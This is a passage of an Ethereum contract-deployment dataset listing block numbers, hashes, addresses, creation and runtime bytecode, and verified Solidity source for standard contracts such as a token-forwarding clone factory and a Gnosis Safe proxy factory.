emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,400 |
b11319c567b808813d6a8768c0d1930fc67777a0e4ead8195e0a92a066bb74db
|
5e39f8433bd84349cfe5c3bbb6047035772bce5da516c524e866c9bb7b8602ba
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
23cd99eea6f7501108b32cc6253a719f9cfa43be
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,403 |
ab59e01e667b4e148fa3c1d3897189f343ca08da5584e01cc3a02b0bc97a7943
|
0d3cc658e7ff8e46ba5669a6e1df5e76477c76faf96a1863a5d12f93a974ae2f
|
ca927861fc3ecb00439b9e7be5d1f10d22b6dbf3
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
1372222f912fe355a61d52bdcda5fc72a2650b37
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,408 |
30fed59d5869c9240b6f74b3a440ca72337d47bb820fae3e7157a32ed34884bb
|
44cacfd81ecc95e1884473fbab03d92c1f2af836de5e978acb04de9c9f8337c1
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
0edb2ed462976739c4aafab6976ac712b8018140
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,408 |
30fed59d5869c9240b6f74b3a440ca72337d47bb820fae3e7157a32ed34884bb
|
dbfe262b348a82cbdb1d7728d35fc7d076ced91578be213ab016b4a144bb00f2
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
d2945cdf4e3daf5f6311e17ac6874192e7e1efa0
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,408 |
30fed59d5869c9240b6f74b3a440ca72337d47bb820fae3e7157a32ed34884bb
|
33188cc2a03f8dcc84a1328682300a2c178f3384e2b81766b44db7bc8d08e042
|
85e290a2a15d11415c692cc1de3f3adbfc31761b
|
85e290a2a15d11415c692cc1de3f3adbfc31761b
|
6ebe47dc61e891493f018cd12ed0ecae6dd39803
|
608060405234801561000f575f80fd5b506001461461001c575f80fd5b60405161002890610086565b604051809103905ff080158015610041573d5f803e3d5ffd5b5060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610093565b6101b08061035083390190565b6102b0806100a05f395ff3fe60806040526004361061002c575f3560e01c806389350daa14610037578063d4e932921461004157610033565b3661003357005b5f80fd5b61003f61004b565b005b61004961011e565b005b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b39797046040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d9919061024f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561011b573d5f803e3d5ffd5b50565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef36a7f26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610188573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ac919061024f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156101ee573d5f803e3d5ffd5b50565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61021e826101f5565b9050919050565b61022e81610214565b8114610238575f80fd5b50565b5f8151905061024981610225565b92915050565b5f60208284031215610264576102636101f1565b5b5f6102718482850161023b565b9150509291505056fea2646970667358221220efb008412f462b0357a731a97e474ddbeb9116b827ca60e6ea801fa2bbdd711564736f6c63430008140033608060405234801561000f575f80fd5b506101938061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80630c0f93a11461004e578063b397970414610058578063ef36a7f214610076578063f1bb461d14610094575b5f80fd5b6100566100b2565b005b6100606100b4565b60405161006d9190610144565b60405180910390f35b61007e6100cf565b60405161008b9190610144565b60405180910390f35b61009c6100ea565b6040516100a99190610144565b60405180910390f35b565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61012e82610105565b9050919050565b61013e81610124565b82525050565b5f6020820190506101575f830184610135565b9291505056fea2646970667358221220f6d4a2fe80b54bf95381cd80bc55c9d21159f43da3496f4f05fb9f98f1265c9864736f6c63430008140033
|
60806040526004361061002c575f3560e01c806389350daa14610037578063d4e932921461004157610033565b3661003357005b5f80fd5b61003f61004b565b005b61004961011e565b005b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b39797046040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d9919061024f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561011b573d5f803e3d5ffd5b50565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef36a7f26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610188573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ac919061024f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156101ee573d5f803e3d5ffd5b50565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61021e826101f5565b9050919050565b61022e81610214565b8114610238575f80fd5b50565b5f8151905061024981610225565b92915050565b5f60208284031215610264576102636101f1565b5b5f6102718482850161023b565b9150509291505056fea2646970667358221220efb008412f462b0357a731a97e474ddbeb9116b827ca60e6ea801fa2bbdd711564736f6c63430008140033
| |
1 | 19,497,408 |
30fed59d5869c9240b6f74b3a440ca72337d47bb820fae3e7157a32ed34884bb
|
33188cc2a03f8dcc84a1328682300a2c178f3384e2b81766b44db7bc8d08e042
|
85e290a2a15d11415c692cc1de3f3adbfc31761b
|
6ebe47dc61e891493f018cd12ed0ecae6dd39803
|
08e0924f342acc22beb59a35cd79d879d92285a0
|
608060405234801561000f575f80fd5b506101938061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80630c0f93a11461004e578063b397970414610058578063ef36a7f214610076578063f1bb461d14610094575b5f80fd5b6100566100b2565b005b6100606100b4565b60405161006d9190610144565b60405180910390f35b61007e6100cf565b60405161008b9190610144565b60405180910390f35b61009c6100ea565b6040516100a99190610144565b60405180910390f35b565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61012e82610105565b9050919050565b61013e81610124565b82525050565b5f6020820190506101575f830184610135565b9291505056fea2646970667358221220f6d4a2fe80b54bf95381cd80bc55c9d21159f43da3496f4f05fb9f98f1265c9864736f6c63430008140033
|
608060405234801561000f575f80fd5b506004361061004a575f3560e01c80630c0f93a11461004e578063b397970414610058578063ef36a7f214610076578063f1bb461d14610094575b5f80fd5b6100566100b2565b005b6100606100b4565b60405161006d9190610144565b60405180910390f35b61007e6100cf565b60405161008b9190610144565b60405180910390f35b61009c6100ea565b6040516100a99190610144565b60405180910390f35b565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f739721a59a486b6b4a77b0e326c7f4cff804f4489f905090565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61012e82610105565b9050919050565b61013e81610124565b82525050565b5f6020820190506101575f830184610135565b9291505056fea2646970667358221220f6d4a2fe80b54bf95381cd80bc55c9d21159f43da3496f4f05fb9f98f1265c9864736f6c63430008140033
| |
1 | 19,497,409 |
ea7c69c6aa1e746ab5d990c3c5c6b99c9d0819f80147e998fb47414cb4dd86a2
|
2863f40380502e1ef3adaf4f8fa5fc1cf846eee7e20adfbaeb407c5ca46d8cae
|
099b1d292689be58f498f127f4e08fe4f0969bce
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
397da998d0923d0882dd9f21b8052661ab8eae7c
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
